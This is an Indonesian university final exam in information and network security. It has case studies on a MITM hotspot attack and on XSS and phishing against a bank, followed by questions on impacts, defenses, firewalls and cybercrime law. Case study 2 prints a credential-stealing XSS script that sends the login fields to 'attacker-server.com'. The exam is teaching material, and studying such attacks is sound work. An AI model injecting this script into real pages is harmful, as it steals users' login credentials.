IF – Keamanan Informasi Dan Jaringan
Sekolah Tinggi Teknologi Cipasung

UAS IF Keamanan Informasi Dan Jaringan
Semester Ganjil 2024/2025

Jumat, 10 Januari 2025
Waktu: 21:00 - Selesai
(Deadline Upload ke Classroom Sesuai Late Submit Online, Open All Resources)*
Disusun Oleh :
Reza Febriana, S.Kom., M.Kom., CEH.

)* anda dibenarkan untuk membuka buku, referensi internet atau catatan maupun alat bantu lain.
Namun anda tidak dibenarkan menyontek/menyalin hasil kerja rekan anda.

Selesaikan Soal Berikut!
Bobot Nilai (100)

Studi Kasus 1

Kronologi insidennya yaitu terjadi serangan *fake insider threat* pada "perusahan X" (nama samara) yang menggunakan private cloud computing melalui salah satu karyawan dari organisasi tersebut yang berinisial "p". Hal itu terjadi karena karyawan inisial "p" ini mengakses layanan private cloud computing diluar infrastruktur jaringan "perusahan X" dan aksesnya dilakukan di sebuah café melalui hotspot dengan IP Public namun ternyata ada seorang peretas yang melakukan serangan MITM (Man in The Middle) melalui jaringan hotspot tersebut dan semua client yang menggunakan jaringan hotspot tersebut terperangkap serangan itu termasuk dalam hal ini seorang karyawan dari "perusahan X" tersebut yang berinisial "p" dan peretas dengan inisial sebut saja "Mr.X" ini melakukan *sniffing* dan *spoofing* terhadap semua pengguna yang terperangkap. Selanjutnya setelah "p" selesai mengakses layanan private cloud computing melalui jaringan hotspot di cafe tersebut, benar saja "Mr.X" memanfaatkan data yang didapatkan dari proses *sniffing* dan *spoofing* untuk mengakses layanan private cloud computing dari "perusahan X" karena pada system tersebut ada beberapa kerentanan atau vulnerabilities salah satunya pada kasus ini hacker melakukan serangan dengan memanfaatkan kerentanan "**Bypassing Authentication**" dengan hak akses sebagai "p". Pada dasarnya dilihat dari kronologi kasus yang terjadi ancaman ini terlihat seperti ancaman yang dilakukan oleh orang dalam namun pada kenyataannya tidak demikian karena secara konteks jelas ini bukan serangan oleh orang dalam akan tetapi serangan oleh orang yang seakan - akan sebagai orang dalam atau disebut dengan orang dalam palsu.

1. Jelaskan secara singkat apa itu Man in The Middle (MITM) dan bagaimana serangan ini dapat merugikan perusahaan X pada studi kasus 1 ! **(Nilai 10)**
2. Dari serangan MITM pada studi kasus 1, silahkan identifikasi dampaknya apa saja yang dapat terjadi terhadap layanan cloud computing di perusahan tersebut ! **(Nilai 15)**

3. Sebutkan serangan apa saja yang dapat dilakukan oleh hacker selain dari MITM dengan memanfaatkan kerentanan Bypassing Authentication jika kronologinya berdasarkan pada studi kasus 1 serta sebutkan alasannya ! **(Nilai 15)**
4. Berikan solusi apa saja yang dapat dilakukan agar pengguna tetap aman meskipun menggunakan hotspot publik seperti pada kronologi studi kasus 1 ! **(Nilai 10)**

Studi Kasus 2

Sebuah situs web perbankan yang popular sebut saja BANK XYZ memiliki celah keamanan pada halaman login mereka yang memungkinkan serangan XSS. Seorang penyerang memanfaatkan celah tersebut untuk menyusupkan skrip XSS berbahaya yang bertujuan untuk mencuri informasi otentikasi pengguna mobile banking bank tersebut. Berikut ini skrip XSS yang disisipkan hacker ke dalam halaman login. Skrip ini dirancang untuk mencuri informasi otentikasi pengguna, seperti username dan password, saat dieksekusi.

```
<script>
  const stolenData = {
    username: document.getElementById('username').value,
    password: document.getElementById('password').value
  };

// Mengirimkan data ke server
new Image().src = 'https://attacker-server.com/collect?data=' +
JSON.stringify(stolenData);
</script>
```

Selain itu penyerang juga menggunakan teknik *phishing* untuk mengecoh pengguna dan membuat mereka memberikan informasi otentikasi tambahan. Dengan kronologi kejadian diawali dengan penyerang membuat halaman phishing yang mirip dengan halaman login asli situs web perbankan. Pengguna yang terpengaruh diarahkan ke halaman phishing ini melalui tautan yang disematkan dalam pesan palsu atau email. Kemudian penyerang mengirimkan email palsu kepada sejumlah pengguna situs web perbankan dengan alasan palsu, seperti pembaruan keamanan atau perubahan kebijakan. Email tersebut berisi link tautan ke halaman phishing yang sudah disiapkan. Lalu pengguna yang menerima email palsu diarahkan ke halaman phishing. Halaman ini mungkin terlihat identik dengan halaman login asli, sehingga membuat pengguna tidak curiga dan akhirnya mereka memberikan informasi otentikasi tambahan.

5. Sebutkan langkah-langkah yang dapat diambil oleh pengembang web di studi kasus 2 untuk mencegah serangan XSS di masa depan ! **(Nilai 10)**
6. Jelaskan secara singkat apa yang dilakukan oleh script JavaScript di studi kasus 2 ! **(Nilai 20)**
7. Sebutkan dua jenis firewall berdasarkan cara kerjanya dan berikan contoh penggunaan masing-masing ! **(Nilai 10)**

8. Sebutkan dan jelaskan satu tindak pidana terkait dengan komputer atau sistem elektronik yang diatur dalam UU ITE beserta alasannya dan pasal perundang-undangan yang mengaturnya ! **(Nilai 10)**

Selamat Mengerjakan
